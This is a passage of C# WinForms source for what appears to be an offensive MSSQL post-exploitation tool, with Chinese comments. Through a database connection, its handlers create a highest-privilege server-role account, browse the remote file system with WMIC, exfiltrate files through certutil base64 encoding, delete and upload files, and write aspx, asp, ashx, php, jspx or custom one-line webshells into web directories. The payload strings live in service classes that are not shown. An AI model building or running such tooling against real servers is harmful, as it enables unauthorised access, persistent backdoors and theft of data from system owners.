            string[] dataArr1 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data1 in dataArr1)
            {
                richTextBox3.Text += data1 + "\r\n";
            }

            await Services.T_Client_Mssql.Sql_Files_Activation(Api.T_Mssql_Excel.Connection);

            string[] dataArr2 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data in dataArr2)
            {
                richTextBox3.Text += data + "\r\n";
            }
        }
        /// <summary>
        /// 创建最高权限账号
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void button12_Click(object sender, EventArgs e)
        {
            richTextBox3.Clear();

            richTextBox3.Text += DateTime.Now.ToString() + "：" + "正在判断当前用户是否具备服务器角色" + "\r\n";

            // 查询角色信息
            await Services.T_Client_Mssql.Sql_Role_Info(Api.T_Mssql_Excel.Connection);

            string[] dataArr1 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data1 in dataArr1)
            {
                richTextBox3.Text += data1 + "\r\n";
            }
            // 创建具备服务器角色的账号
            await Services.T_Client_Mssql.Sql_Add_Acount(Api.T_Mssql_Excel.Connection);

            string[] dataArr2 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data in dataArr2)
            {
                richTextBox3.Text += data + "\r\n";
            }
        }
        /// <summary>
        /// 获取服务器文件信息
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void button5_Click(object sender, EventArgs e)
        {
            // 先获取磁盘的分区信息
            listView1.Items.Clear();
            // 获取磁盘分区
            Services.T_Client_Mssql.WmicInfo(Api.T_Mssql_Excel.Connection, Api.T_Mssql_Excel.E1);

            string[] lines = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            for (int i = 1; i < lines.Length; i++)
            {
                string drive = lines[i].Trim();
                if (!string.IsNullOrEmpty(drive)) // 确保驱动器名称不为空
                {
                    // 将驱动器名称后加上反斜杠
                    ListViewItem item = new ListViewItem(drive + "\\");
                    item.Tag = drive + "\\"; // 存储驱动器名称
                    listView1.Items.Add(item);
                }
            }
        }
        /// <summary>
        /// 双击逐级进入目录
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void listView1_MouseDoubleClick_1(object sender, MouseEventArgs e)
        {
            try
            {
                if (listView1.SelectedItems.Count > 0)
                {
                    var selectedItem = listView1.SelectedItems[0];

                    // 检查 Tag 是否为 null
                    if (selectedItem.Tag != null)
                    {
                        string selectedPath = selectedItem.Tag.ToString();

                        // 直接处理所选路径，不判断是否为文件夹
                        // 如果路径栈不为空，推入当前路径
                        if (pathStack.Count == 0 || pathStack.Peek() != selectedPath)
                        {
                            pathStack.Push(selectedPath);
                        }

                        // 更新 textBox1 显示当前路径
                        textBox17.Text = selectedPath;
                        textBox13.Text = selectedPath;
                        textBox12.Text = selectedPath;

                        // 将路径进行传出
                        Api.T_Mssql_Excel.Code = textBox17.Text;
                        Services.T_Client_Mssql.WmicInfo_Code(Api.T_Mssql_Excel.Connection, Api.T_Mssql_Excel.Code);

                        // 获取完整的数据
                        string code = Api.T_Mssql_Excel.Info.ToString();
                        string[] lines = code.Split(new[] { "\r\n", "\n" }, StringSplitOptions.None);

                        listView1.Items.Clear(); // 清空现有项

                        foreach (var line in lines)
                        {
                            if (string.IsNullOrWhiteSpace(line)) // 检查空行
                            {
                                continue; // 跳过空行
                            }

                            string fullPath = System.IO.Path.Combine(textBox17.Text, line);
                            string type = System.IO.Directory.Exists(fullPath) ? "文件夹" : "文件";

                            // 创建 ListViewItem，并设置 Tag 属性
                            ListViewItem listViewItem = new ListViewItem(line)
                            {
                                Tag = fullPath // 将完整路径设置为 Tag
                            };
                            listViewItem.SubItems.Add(type); // 添加类型作为子项
                            listView1.Items.Add(listViewItem);
                        }
                    }
                    else
                    {
                        MessageBox.Show("未找到有效的路径。", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"发生了错误: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }


        /// <summary>
        /// 根据组件中的路径进行打开
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>

        private void button6_Click(object sender, EventArgs e)
        {
            // 先获取磁盘的分区信息
            listView1.Items.Clear();
            if (string.IsNullOrEmpty(textBox17.Text))
            {
                MessageBox.Show("打开的远程路径不能为空！");
            }
            else
            {
                // 将路径传出
                // 将路径进行传出
                Api.T_Mssql_Excel.Code = textBox17.Text;
                Services.T_Client_Mssql.WmicInfo_Code(Api.T_Mssql_Excel.Connection, Api.T_Mssql_Excel.Code);

                // 获取完整的数据
                string code = Api.T_Mssql_Excel.Info.ToString();
                string[] lines = code.Split(new[] { "\r\n", "\n" }, StringSplitOptions.None);

                listView1.Items.Clear(); // 清空现有项

                foreach (var line in lines)
                {
                    string fullPath = System.IO.Path.Combine(textBox17.Text, line);
                    string type = System.IO.Directory.Exists(fullPath) ? "文件夹" : "文件";

                    // 创建 ListViewItem，并设置 Tag 属性
                    ListViewItem listViewItem = new ListViewItem(line)
                    {
                        Tag = fullPath // 将完整路径设置为 Tag
                    };
                    listViewItem.SubItems.Add(type); // 添加类型作为子项
                    listView1.Items.Add(listViewItem);
                }
            }
        }
        /// <summary>
        /// 返回上一级
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void button7_Click(object sender, EventArgs e)
        {
            if (pathStack.Count > 1) // 确保至少有两个路径（当前和父级）
            {
                pathStack.Pop(); // 弹出当前路径

                // 获取上一级路径
                string currentPath = pathStack.Peek(); // 获取新的当前路径
                listView1.Items.Clear(); // 清空现有项

                Api.T_Mssql_Excel.Code = currentPath;

                // 使用 dir 命令列出上一级文件夹内容
                Services.T_Client_Mssql.WmicInfo_Code(Api.T_Mssql_Excel.Connection, Api.T_Mssql_Excel.Code);

                // 解析输出并添加到 ListView
                string code = Api.T_Mssql_Excel.Info.ToString();
                string[] lines = code.Split(new[] { "\r\n", "\n" }, StringSplitOptions.RemoveEmptyEntries);

                listView1.Items.Clear(); // 清空现有项

                foreach (var line in lines)
                {
                    if (string.IsNullOrWhiteSpace(line)) // 检查空行
                    {
                        continue; // 跳过空行
                    }

                    // 只提取文件和文件夹名称
                    string[] parts = line.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
                    if (parts.Length > 0)
                    {
                        string itemName = parts[parts.Length - 1]; // 获取最后一个部分作为名称
                        string fullPath = System.IO.Path.Combine(currentPath, itemName); // 这里构建 fullPath

                        // 检查路径是否为文件夹
                        string type = System.IO.Directory.Exists(fullPath) ? "文件夹" : "文件";

                        ListViewItem item = new ListViewItem(itemName)
                        {
                            Tag = fullPath // 存储完整路径
                        };
                        item.SubItems.Add(type);
                        listView1.Items.Add(item);
                    }
                }

                // 更新 textBox1 显示当前路径
                textBox17.Text = currentPath;
            }
        }


        private void listView1_MouseDown(object sender, MouseEventArgs e)
        {
            if (e.Button == MouseButtons.Right)
            {
                ListViewItem selectedItem = listView1.GetItemAt(e.X, e.Y);
                if (selectedItem != null)
                {
                    listView1.SelectedItems.Clear();
                    selectedItem.Selected = true;
                    listView1.ContextMenuStrip = contextMenuStrip1;
                }
                else
                {
                    listView1.ContextMenuStrip = null;
                }
            }
        }
        /// <summary>
        /// 下载文件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void 下载ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                if (listView1.SelectedItems.Count > 0)
                {
                    string selectedPath = listView1.SelectedItems[0].Tag.ToString();

                    if (Directory.Exists(selectedPath))
                    {
                        MessageBox.Show("请选择文件进行下载！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        return;
                    }

                    // 初始化UI状态
                    richTextBox1.Clear();
                    richTextBox12.Clear();
                    richTextBox4.Clear();

                    // 重置并显示进度条
                    toolStripProgressBar1.Minimum = 0;
                    toolStripProgressBar1.Maximum = 100;
                    toolStripProgressBar1.Value = 0;
                    toolStripProgressBar1.Visible = true;

                    // 禁用界面防止重复操作
                    SetControlsEnabled(false);

                    string path = Path.GetDirectoryName(selectedPath) + Path.DirectorySeparatorChar;
                    string name = Path.GetFileName(selectedPath);
                    Api.T_Mssql_Excel.Path = path;
                    Api.T_Mssql_Excel.Name = name;

                    // 进度更新方法
                    int lastProgress = 0;
                    void UpdateProgress(int progress)
                    {
                        if (progress == lastProgress ||
                            (progress < 100 && Math.Abs(progress - lastProgress) < 5))
                            return;

                        lastProgress = progress;

                        if (this.InvokeRequired)
                        {
                            this.BeginInvoke(new Action<int>(UpdateProgress), progress);
                        }
                        else
                        {
                            toolStripProgressBar1.Value = Math.Min(100, Math.Max(0, progress));
                            toolStripStatusLabel11.Text = $"下载进度: {progress}%";
                        }
                    }

                    // 状态更新方法
                    void UpdateStatusRealTime4(string status)
                    {
                        if (this.InvokeRequired)
                        {
                            this.BeginInvoke(new Action<string>(UpdateStatusRealTime4), status);
                        }
                        else
                        {
                            richTextBox12.AppendText(DateTime.Now.ToString() + "：" + status + "\r\n");
                            richTextBox12.ScrollToCaret();
                        }
                    }

                    try
                    {
                        // 开始下载流程 - 严格按照原来的步骤
                        UpdateProgress(5);
                        UpdateStatusRealTime4("开始下载文件...");

                        // 1. 执行文件下载（编码）
                        await Services.T_Client_Mssql.Sql_Files_Upload(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime4, UpdateProgress);

                        UpdateProgress(30);

                        // 获取状态
                        string[] lines = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                        foreach (var line in lines)
                        {
                            richTextBox12.Text += line + "\r\n";
                        }

                        await Task.Delay(1000);
                        UpdateProgress(50);

                        // 2. 对文件进行编码读取
                        await Services.T_Client_Mssql.Sql_Files_Echoe(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime4, UpdateProgress);

                        UpdateProgress(70);

                        // 3. 将读取的内容显示到richTextBox4
                        string[] linecode = Api.T_Mssql_Excel.FileStatic.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                        foreach (var line1 in linecode)
                        {
                            richTextBox4.Text += line1 + "\r\n";
                        }

                        UpdateProgress(80);
                        UpdateStatusRealTime4("文件内容读取完成，正在保存临时文件...");

                        string directory = AppDomain.CurrentDomain.BaseDirectory;
                        string filePath = Path.Combine(directory, "tl_temp.txt");

                        try
                        {
                            // 4. 将 richTextBox4 的内容写入临时文件（这是关键步骤）
                            File.WriteAllText(filePath, richTextBox4.Text);

                            UpdateProgress(85);
                            UpdateStatusRealTime4("成功下载文件，正在解码保存");

                            await Task.Delay(500);

                            // 5. 执行保存文件 - 调用原来的Encode方法进行解码
                            Encode(UpdateStatusRealTime4);
                            UpdateProgress(90);

                            await Task.Delay(1000);

                            // 6. 删除服务器临时文件
                            await Services.T_Client_Mssql.Sql_FilesDel(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime4);

                            UpdateProgress(100);
                            await Task.Delay(500);

                            UpdateStatusRealTime4("文件下载完成！");
                            toolStripStatusLabel11.Text = "下载完成";

                            // 2秒后隐藏进度条
                            await Task.Delay(2000);
                            toolStripProgressBar1.Visible = true;

                            MessageBox.Show("文件下载完成！", "成功", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        }
                        catch (Exception ex)
                        {
                            MessageBox.Show($"发生错误: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                            toolStripProgressBar1.Visible = true;
                        }
                    }
                    finally
                    {
                        // 恢复界面
                        SetControlsEnabled(true);
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"发生了错误: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                SetControlsEnabled(true);
                toolStripProgressBar1.Visible = true;
            }
        }

        // 控制界面元素启用状态的辅助方法
        private void SetControlsEnabled(bool enabled)
        {
            if (this.InvokeRequired)
            {
                this.BeginInvoke(new Action<bool>(SetControlsEnabled), enabled);
                return;
            }

            this.下载ToolStripMenuItem.Enabled = enabled;
            this.查看ToolStripMenuItem.Enabled = enabled;
            this.Cursor = enabled ? Cursors.Default : Cursors.WaitCursor;
        }
        /// <summary>
        /// 将文件进行解码后保存为文件
        /// </summary>
        public void Encode(Action<string> statusCallback = null)
        {
            // 当前程序运行的路径
            string directory = AppDomain.CurrentDomain.BaseDirectory;
            // 文件的路径
            string filePath = Path.Combine(directory, "tl_temp.txt");

            // 创建保存文件对话框
            using (SaveFileDialog saveFileDialog = new SaveFileDialog())
            {
                saveFileDialog.Filter = "Excel文件 (*.xlsx)|*.xlsx|" +
                                    "Word文档 (*.docx)|*.docx|" +
                                    "PowerPoint演示文稿 (*.pptx)|*.pptx|" +
                                    "PDF文件 (*.pdf)|*.pdf|" +
                                    "文本文件 (*.txt)|*.txt|" +
                                    "CSV文件 (*.csv)|*.csv|" +
                                    "图像文件 (*.jpg;*.jpeg;*.png;*.gif)|*.jpg;*.jpeg;*.png;*.gif|" +
                                    "压缩文件 (*.zip;*.rar)|*.zip;*.rar|" +
                                    "HTML文件 (*.html)|*.html|" +
                                    "XML文件 (*.xml)|*.xml|" +
                                    "JSON文件 (*.json)|*.json|" +
                                    "Markdown文件 (*.md)|*.md|" +
                                    "幻灯片文件 (*.ppt)|*.ppt|" +
                                    "Excel 97-2003 文件 (*.xls)|*.xls|" +
                                    "Word 97-2003 文件 (*.doc)|*.doc|" +
                                    "RTF文件 (*.rtf)|*.rtf|" +
                                    "LaTeX文件 (*.tex)|*.tex|" +
                                    "音频文件 (*.mp3;*.wav)|*.mp3;*.wav|" +
                                    "视频文件 (*.mp4;*.avi)|*.mp4;*.avi|" +
                                    "数据库文件 (*.db;*.sql)|*.db;*.sql|" +
                                    "ISO镜像文件 (*.iso)|*.iso|" +
                                    "VCard文件 (*.vcf)|*.vcf|" +
                                    "Excel模板 (*.xltx)|*.xltx|" +
                                    "Word模板 (*.dotx)|*.dotx|" +
                                    "PowerPoint模板 (*.potx)|*.potx|" +
                                    "文本模板 (*.txt)|*.txt|" +
                                    "CSV模板 (*.csv)|*.csv|" +
                                    "YAML文件 (*.yaml;*.yml)|*.yaml;*.yml|" +
                                    "XPS文件 (*.xps)|*.xps|" +
                                    "Visio文件 (*.vsdx)|*.vsdx|" +
                                    "表单文件 (*.form)|*.form|" +
                                    "配置文件 (*.config)|*.config|" +
                                    "脚本文件 (*.bat;*.cmd)|*.bat;*.cmd|" +
                                    "二进制文件 (*.bin)|*.bin|" +
                                    "压缩图像 (*.bmp;*.tiff)|*.bmp;*.tiff|" +
                                    "设计文件 (*.psd)|*.psd|" +
                                    "字体文件 (*.ttf;*.otf)|*.ttf;*.otf|" +
                                    "科学文档 (*.tex)|*.tex|" +
                                    "图纸文件 (*.dxf)|*.dxf|" +
                                    "数据文件 (*.dat)|*.dat|" +
                                    "邮件文件 (*.eml)|*.eml|" +
                                    "其他文件 (*.*)|*.*"; // 继续添加更多格式
                saveFileDialog.DefaultExt = "xlsx"; // 默认扩展名
                saveFileDialog.Title = "保存文件"; // 对话框标题
                saveFileDialog.FileName = "1.xlsx"; // 默认文件名

                // 显示对话框并获取结果
                if (saveFileDialog.ShowDialog() == DialogResult.OK)
                {
                    // 需要保存的文件路径
                    string savefilepath = saveFileDialog.FileName;

                    // 创建一个新的进程
                    Process process = new Process();

                    // 指定要执行的命令及其参数
                    process.StartInfo.FileName = "cmd.exe";
                    process.StartInfo.Arguments = "/c certutil -decode \"" + filePath + "\" \"" + savefilepath + "\"";

                    // 设置为不使用窗口
                    process.StartInfo.UseShellExecute = false;
                    process.StartInfo.RedirectStandardOutput = true; // 重定向标准输出
                    process.StartInfo.RedirectStandardError = true;  // 重定向标准错误
                    process.StartInfo.CreateNoWindow = true; // 不创建窗口

                    try
                    {
                        // 启动进程
                        process.Start();

                        // 读取输出
                        string output = process.StandardOutput.ReadToEnd();
                        string error = process.StandardError.ReadToEnd();

                        // 等待进程完成
                        process.WaitForExit();

                        // 输出结果
                        Console.WriteLine(output);
                        Console.WriteLine(error);
                        // 当执行成功之后就删除文本的临时缓存文件
                        DelLocalFile();
                        statusCallback?.Invoke("文件保存成功: " + savefilepath);
                        //Console.WriteLine("文件保存成功: " + savefilepath);
                    }
                    catch (Exception ex)
                    {
                        //Console.WriteLine("异常: " + ex.Message);
                        statusCallback?.Invoke("异常: " + ex.Message);
                    }
                    finally
                    {
                        // 确保进程被正确关闭
                        process.Dispose();
                    }
                }
                else
                {
                    //Console.WriteLine("未选择文件");
                    statusCallback?.Invoke("未选择文件");
                }
            }
        }
        /// <summary>
        /// 删除本地文件
        /// </summary>
        public void DelLocalFile()
        {
            // 当前程序运行的路径
            string directory = AppDomain.CurrentDomain.BaseDirectory;
            // 文件的路径
            string filePath = Path.Combine(directory, "tl_temp.txt");

            // 创建一个新的进程
            Process process = new Process();

            // 指定要执行的命令及其参数
            process.StartInfo.FileName = "cmd.exe";
            process.StartInfo.Arguments = "/c del \"" + filePath + "\"";

            // 设置为不使用窗口
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.RedirectStandardOutput = true; // 重定向标准输出
            process.StartInfo.RedirectStandardError = true;  // 重定向标准错误
            process.StartInfo.CreateNoWindow = true; // 不创建窗口

            try
            {
                // 启动进程
                process.Start();

                // 读取输出
                string output = process.StandardOutput.ReadToEnd();
                string error = process.StandardError.ReadToEnd();

                // 等待进程完成
                process.WaitForExit();

                // 输出结果
                Console.WriteLine(output);
                Console.WriteLine(error);
            }
            catch (Exception ex)
            {
                Console.WriteLine("异常: " + ex.Message);
            }
            finally
            {
                // 确保进程被正确关闭
                process.Dispose();
            }
        }
        private async void 删除ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                if (listView1.SelectedItems.Count > 0)
                {
                    string selectedPath = listView1.SelectedItems[0].Tag.ToString();

                    // 判断所选路径是否为文件夹
                    if (Directory.Exists(selectedPath)) // 如果是文件夹
                    {
                        MessageBox.Show("请选择文件进行删除！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }
                    else // 如果是文件
                    {
                        // 弹出确认框
                        DialogResult dialogResult = MessageBox.Show("确定要删除该文件吗？", "确认", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                        if (dialogResult == DialogResult.Yes)
                        {
                            richTextBox1.Clear();
                            richTextBox12.Clear();

                            string path = Path.GetDirectoryName(selectedPath) + Path.DirectorySeparatorChar;
                            string name = Path.GetFileName(selectedPath);
                            // 将文件路径及文件名称传出
                            Api.T_Mssql_Excel.Path = path;
                            Api.T_Mssql_Excel.Name = name;

                            await Services.T_Client_Mssql.Sql_FilesDelCode(Api.T_Mssql_Excel.Connection);

                            // 获取状态
                            string[] lines = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);

                            foreach (var line in lines)
                            {
                                MessageBox.Show(line + "\r\n");
                            }
                        }
                        else
                        {
                            // 用户选择了“否”，可在此处理其他逻辑（如记录日志等）
                            Console.WriteLine("用户取消了删除操作。");
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"发生了错误: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        private void 重要提示ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            MessageBox.Show("下载文件时，不要下载大文件！！！");
        }

        private void 复制ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                ListViewItem selectedRow = listView1.SelectedItems[0];

                // 获取选定行的第一列内容
                string columnData = selectedRow.SubItems[0].Text;

                // 将选定行的第一列内容复制到剪贴板
                Clipboard.SetText(columnData);
            }
        }

        private void richTextBox1_TextChanged(object sender, EventArgs e)
        {
            // 每次文本改变时，滚动到最后一行
            richTextBox1.SelectionStart = richTextBox1.Text.Length;
            richTextBox1.ScrollToCaret();
        }

        private void richTextBox3_TextChanged(object sender, EventArgs e)
        {
            // 每次文本改变时，滚动到最后一行
            richTextBox3.SelectionStart = richTextBox3.Text.Length;
            richTextBox3.ScrollToCaret();
        }

        private void richTextBox2_TextChanged(object sender, EventArgs e)
        {
            // 每次文本改变时，滚动到最后一行
            richTextBox2.SelectionStart = richTextBox2.Text.Length;
            richTextBox2.ScrollToCaret();
        }

        private void richTextBox11_TextChanged(object sender, EventArgs e)
        {
            // 每次文本改变时，滚动到最后一行
            richTextBox11.SelectionStart = richTextBox11.Text.Length;
            richTextBox11.ScrollToCaret();
        }
        /// <summary>
        /// 写入webshell到指定的路径中
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void button13_Click(object sender, EventArgs e)
        {
            richTextBox5.Clear();
            if(checkBox7.Checked == true)
            {
                // 默认aspx
                if(checkBox8.Checked == true)
                {
                    richTextBox5.Text += "正在写入默认的aspx一句话webshell，请稍后" + "\r\n";
                    string path = textBox13.Text;
                    string name = textBox18.Text;
                    string pathname = path + @"\" + name;
                    Api.T_Mssql_Excel.ShellPath = pathname;
                    Api.T_Mssql_Excel.Webshell_id = "aspx";
                    await Services.T_Client_Mssql.Sql_Add_dWebshell(Api.T_Mssql_Excel.Connection);
                    string[] lines = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);

                    foreach (var line in lines)
                    {
                        richTextBox5.Text += line + "\r\n";
                    }
                }
                // 默认asp
                else if (checkBox9.Checked == true)
                {
                    richTextBox5.Text += "正在写入默认的asp一句话webshell，请稍后" + "\r\n";
                    string path = textBox13.Text;
                    string name = textBox18.Text;
                    string pathname = path + @"\" + name;
                    Api.T_Mssql_Excel.ShellPath = pathname;
                    Api.T_Mssql_Excel.Webshell_id = "asp";
                    await Services.T_Client_Mssql.Sql_Add_dWebshell(Api.T_Mssql_Excel.Connection);
                    string[] lines = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);

                    foreach (var line in lines)
                    {
                        richTextBox5.Text += line + "\r\n";
                    }
                }
                // 默认ashx
                else if (checkBox10.Checked == true)
                {
                    richTextBox5.Text += "正在写入默认的ashx一句话webshell，请稍后" + "\r\n";
                    string path = textBox13.Text;
                    string name = textBox18.Text;
                    string pathname = path + @"\" + name;
                    Api.T_Mssql_Excel.ShellPath = pathname;
                    Api.T_Mssql_Excel.Webshell_id = "ashx";
                    await Services.T_Client_Mssql.Sql_Add_dWebshell(Api.T_Mssql_Excel.Connection);
                    string[] lines = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);

                    foreach (var line in lines)
                    {
                        richTextBox5.Text += line + "\r\n";
                    }
                }
                // 默认php
                else if (checkBox11.Checked == true)
                {
                    richTextBox5.Text += "正在写入默认的php一句话webshell，请稍后" + "\r\n";
                    string path = textBox13.Text;
                    string name = textBox18.Text;
                    string pathname = path + @"\" + name;
                    Api.T_Mssql_Excel.ShellPath = pathname;
                    Api.T_Mssql_Excel.Webshell_id = "php";
                    await Services.T_Client_Mssql.Sql_Add_dWebshell(Api.T_Mssql_Excel.Connection);
                    string[] lines = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);

                    foreach (var line in lines)
                    {
                        richTextBox5.Text += line + "\r\n";
                    }
                }
                // 默认jspx
                else if (checkBox12.Checked == true)
                {
                    richTextBox5.Text += "正在写入默认的jspx一句话webshell，请稍后" + "\r\n";
                    string path = textBox13.Text;
                    string name = textBox18.Text;
                    string pathname = path + @"\" + name;
                    Api.T_Mssql_Excel.ShellPath = pathname;
                    Api.T_Mssql_Excel.Webshell_id = "jspx";
                    await Services.T_Client_Mssql.Sql_Add_dWebshell(Api.T_Mssql_Excel.Connection);
                    string[] lines = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);

                    foreach (var line in lines)
                    {
                        richTextBox5.Text += line + "\r\n";
                    }
                }
            }
            // 自定义webshell
            else if(checkBox6.Checked == true)
            {
                if (string.IsNullOrEmpty(textBox19.Text))
                {
                    MessageBox.Show("自定义一句话webshell不能为空");
                }
                else
                {
                    richTextBox5.Text += "正在写入自定义webshell，请稍后" + "\r\n";
                    string path = textBox13.Text;
                    string name = textBox18.Text;
                    string pathname = path + @"\" + name;
                    Api.T_Mssql_Excel.ShellPath = pathname;
                    // 传出一句话webshell
                    Api.T_Mssql_Excel.Webshell = textBox19.Text;
                    await Services.T_Client_Mssql.Sql_Add_Webshell(Api.T_Mssql_Excel.Connection);
                    string[] lines = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);

                    foreach (var line in lines)
                    {
                        richTextBox5.Text += line + "\r\n";
                    }
                }
            }
        }

        private void checkBox7_CheckedChanged(object sender, EventArgs e)
        {
            if(checkBox7.Checked)
            {
                checkBox6.Checked = false;

                checkBox8.Enabled = true;
                checkBox9.Enabled = true;
                checkBox10.Enabled = true;
                checkBox11.Enabled = true;
                checkBox12.Enabled = true;

                textBox19.Enabled = false;
            }
        }

        private void checkBox6_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox6.Checked)
            {
                checkBox7.Checked = false;

                checkBox8.Enabled = false;
                checkBox9.Enabled = false;
                checkBox10.Enabled = false;
                checkBox11.Enabled = false;
                checkBox12.Enabled = false;
                textBox19.Enabled = true;
            }
        }

        private void checkBox8_CheckedChanged(object sender, EventArgs e)
        {
            if(checkBox8.Checked == true)
            {
                checkBox9.Checked = false;
                checkBox10.Checked = false;
                checkBox11.Checked = false;
                checkBox12.Checked = false;
            }
        }

        private void checkBox9_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox9.Checked == true)
            {
                checkBox8.Checked = false;
                checkBox10.Checked = false;
                checkBox11.Checked = false;
                checkBox12.Checked = false;
            }
        }

        private void checkBox10_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox10.Checked == true)
            {
                checkBox9.Checked = false;
                checkBox8.Checked = false;
                checkBox11.Checked = false;
                checkBox12.Checked = false;
            }
        }

        private void checkBox11_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox11.Checked == true)
            {
                checkBox9.Checked = false;
                checkBox10.Checked = false;
                checkBox8.Checked = false;
                checkBox12.Checked = false;
            }
        }

        private void checkBox12_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox12.Checked == true)
            {
                checkBox9.Checked = false;
                checkBox10.Checked = false;
                checkBox11.Checked = false;
                checkBox8.Checked = false;
            }
        }
        /// <summary>
        /// 文件上传
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void button4_Click(object sender, EventArgs e)
        {
            richTextBox12.Clear();
            if (string.IsNullOrEmpty(textBox11.Text) || string.IsNullOrEmpty(textBox12.Text))
            {
                MessageBox.Show("本地或远程路径不能为空");
            }
            else
            {
                // 传出本地路径：获取的完整路径
                Api.T_Files_Info.LoaclPath = textBox11.Text;

                // 传出远程路径：仅限获取路径
                Api.T_Files_Info.RemovName = textBox12.Text;

                await Services.T_Upload.Upload(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime);
                //string[] lines = Api.T_File_Upload.Upload_Status.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);

                //foreach (var line in lines)
                //{
                //    richTextBox12.AppendText(line + "\r\n");
                //}
            }
        }
        /// <summary>
        /// 添加实时状态更新方法
        /// </summary>
        /// <param name="message"></param>
        private void UpdateStatusRealTime(string message)
        {
            if (richTextBox12.InvokeRequired)
            {
                richTextBox12.Invoke(new Action<string>(UpdateStatusRealTime), message);
            }
            else
            {
                richTextBox12.AppendText(DateTime.Now + "：" + message + "\r\n");
                // 自动滚动到最后
                richTextBox12.SelectionStart = richTextBox12.Text.Length;
                richTextBox12.ScrollToCaret();
                // 强制刷新UI
                richTextBox12.Refresh();
            }
        }
        private void UpdateStatusRealTime1(string message)
        {
            if (richTextBox11.InvokeRequired)
            {
                richTextBox11.Invoke(new Action<string>(UpdateStatusRealTime1), message);
            }
            else
            {
                richTextBox11.AppendText(DateTime.Now + "：" + message + "\r\n");
                // 自动滚动到最后
                richTextBox11.SelectionStart = richTextBox11.Text.Length;
                richTextBox11.ScrollToCaret();
                // 强制刷新UI
                richTextBox11.Refresh();
            }
        }
        private void UpdateStatusRealTime4(string message)
        {
            if (richTextBox12.InvokeRequired)
            {
                richTextBox12.Invoke(new Action<string>(UpdateStatusRealTime4), message);
            }
            else
            {
                richTextBox12.AppendText(DateTime.Now + "：" + message + "\r\n");
                // 自动滚动到最后
                richTextBox12.SelectionStart = richTextBox12.Text.Length;
                richTextBox12.ScrollToCaret();
                // 强制刷新UI
                richTextBox12.Refresh();
            }
        }
        private void button3_Click(object sender, EventArgs e)
        {
            textBox11.Clear();
            // 创建 OpenFileDialog 对象
            OpenFileDialog openFileDialog = new OpenFileDialog();

            // 设置文件过滤器（可选）
            openFileDialog.Filter = "所有文件 (*.*)|*.*";

            // 显示对话框并检查用户是否点击了确定
            if (openFileDialog.ShowDialog() == DialogResult.OK)
            {
                // 获取所选择文件的完整路径
                string filePath = openFileDialog.FileName;

                // 获取文件名称
                string filename = Path.GetFileNameWithoutExtension(filePath);

                //MessageBox.Show("上传的文件是：" + filename);

                // 这里将文件名称进行传出，先保存到这接口
                Api.T_File_Upload.FileNmae = filename;

                // 将路径显示在 textBox1 中
                textBox11.Text = filePath;
